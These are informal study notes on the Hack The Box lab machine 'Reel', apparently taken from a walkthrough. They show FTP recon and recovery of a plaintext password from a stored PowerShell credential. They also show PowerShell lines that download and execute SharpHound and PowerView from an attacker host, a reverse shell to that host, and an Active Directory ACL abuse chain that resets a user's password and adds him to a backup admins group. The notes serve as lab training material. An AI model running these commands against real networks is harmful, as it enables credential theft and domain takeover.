

Win: Reel

nmap notes:

ftp open on port 21 , anonymous login allowed , windows banner

ssh open on port 22 (7.6) --> usually no ssh on windows so weird , so it should be a linux machine

if not windows server 2012 R2 -- R1 is vulnerable

when pinging

if ttl = 127 --> think windows

else some form of linux

FTP :

ftp 10.10.10.77

anonymous

mget *

exiftool --> extracts metadata

exiftool AppLocker.docx

```
PS C:\Windows\system32> Get-Service | where {$_.Status -eq "Running"}
[HTB-3] 0:openvpn 1:ncat*Z 2:bash-
```

```
PS C:\users\nico\Desktop> $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000020000000000360000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
PS C:\users\nico\Desktop> $user = "HTB\Tom"
PS C:\users\nico\Desktop> $cred = New-Object System.Management.Automation.PSCredential($user, $pass)
PS C:\users\nico\Desktop> $cred

UserName                                     Password
-----
HTB\Tom                                     System.Security.SecureString

PS C:\users\nico\Desktop> $cred | fl

UserName : HTB\Tom
Password : System.Security.SecureString

PS C:\users\nico\Desktop> $cred.GetNetworkCredential()

UserName          Domain
-----
Tom               HTB

PS C:\users\nico\Desktop> $cred.GetNetworkCredential() | fl

UserName      : Tom
Password      : hts-magic!!!
SecurePassword : System.Security.SecureString
Domain        : HTB

PS C:\users\nico\Desktop>
[HTB-3] 0:openvpn 1:ncat*Z 2:bash- "htb" 10:56 09-Nov-18
```

```
PS C:\users\nico\Desktop> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.17/SharpHound.ps1')
PS C:\users\nico\Desktop> Invoke-Bloodhound -CollectionMethod All
PS C:\users\nico\Desktop> Invoke-PowerShellTcp : Exception calling "Invoke" with "2" argument(s): "AggregateException_ctor_DefaultMessage"
At line:127 char:1
+ Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.17 -Port 9001
+ ~~~~~
+ CategoryInfo          : NotSpecified: (:) [Write-Error], WriteErrorException
+ FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,Invoke-PowerShellTcp

[HTB-3] 0:openvpn 1:ncat*2.2:bash 3:python- "htb" 10:58 09-Nov-18
```

installing bloodhound
two ways :

<https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/>

Linux

For much better instructions on setting up BloodHound on Linux, see this blog post:
<https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/>

1. Download and install [neo4j community edition](#).

Optional: [configure the REST API to accept remote connections](#) if you plan to run neo4j and the PowerShell ingestor on different hosts.

2. Clone the BloodHound GitHub repo.

```
git clone https://github.com/adaptivethreat/Bloodhound
```

3. Start the neo4j server, pointing neo4j to the provided sample graph database.
4. Run BloodHound from the release found [here](#) or [build BloodHound from source](#).

```
./BloodHound
```

5. Authenticate to the provided sample graph database at bolt://localhost:7687. The username is "neo4j", and the password is "BloodHound".

You're now ready to get started with [data collection](#)!

running Bloodhound

net groups /domain

```
PS C:\Windows\system32> y:
PS Y:\> dir
PS Y:\> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.17/SharpHound.ps1')
```

<https://github.com/PowerShellMafia/PowerSploit>

```
PS Q:\> Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
PS Q:\> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.17/PowerView.ps1')
PS Q:\> dir
```

Directory: Q:\

Mode	LastWriteTime	Length	Name
d----	09/11/2018 16:11		tmp
-a---	09/11/2018 16:11	0	20181109161035_ous.json
-a---	09/11/2018 16:12	64515	20181109161035_groups.json
-a---	09/11/2018 16:13	6921	BloodHound.bin
-a---	09/11/2018 16:12	2051	20181109161035_domains.json
-a---	09/11/2018 16:13	8369	20181109161243_BloodHound.zip
-a---	09/11/2018 16:12	1027	20181109161035_gpos.json
-a---	09/11/2018 16:12	22531	20181109161035_users.json
-a---	09/11/2018 16:12	1027	20181109161035_computers.json

```
PS Q:\> del *
```

```
PS Q:\> PS Q:\> Invoke-Bloodhound -CollectionMethod All
PS Q:\> Add-DomainObjectAcl -TargetIdentity Herman -PrincipalIdentity nico -Rights ResetPassword -Verbose
PS Q:\> Exception calling "CommitChanges" with "0" argument(s): "Access is denied."
At line:8585 char:25
+ ~~~~~
+ ~~~~~
+ CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : DotNetMethodException

PS Q:\> Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
PS Q:\> Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico -verbose
PS Q:\> Add-DomainObjectAcl -TargetIdentity Herman -PrincipalIdentity nico -Rights ResetPassword -Verbose
PS Q:\> del *
PS Q:\> Invoke-Bloodhound -CollectionMethod All
PS Q:\> $pass = ConvertTo-SecureString 'PleaseSubscribe!' -AsPlainText -Force
PS Q:\> Set-DomainUserPassword Herman -AccountPassword $pass -Verbose
PS Q:\>
```

```
PS Q:\> Get-DomainGroup -MemberIdentity Herman | select samaccountname

samaccountname
-----
Restrictions
DR_Site
MegaBank_Users
Domain Users
```

adding a member in another group

```

PS Q:\> Get-DomainGroup -MemberIdentity Herman | select samaccountname

samaccountname
-----
Restrictions
DR_Site
MegaBank_Users
Domain Users

PS Q:\> $cred = New-Object System.Management.Automation.PSCredential('HTB\Herman', $pass)
PS Q:\> Add-DomainGroupMember -Identity 'Backup_Admns' -Members Herman -Credential $cred
PS Q:\> Get-DomainGroup -MemberIdentity Herman | select samaccountname

samaccountname
-----
Restrictions
DR_Site
MegaBank_Users
Domain Users
Backup_Admns I

```

ofcourse u need to watch that again , specially last 30 min
 what is watson ????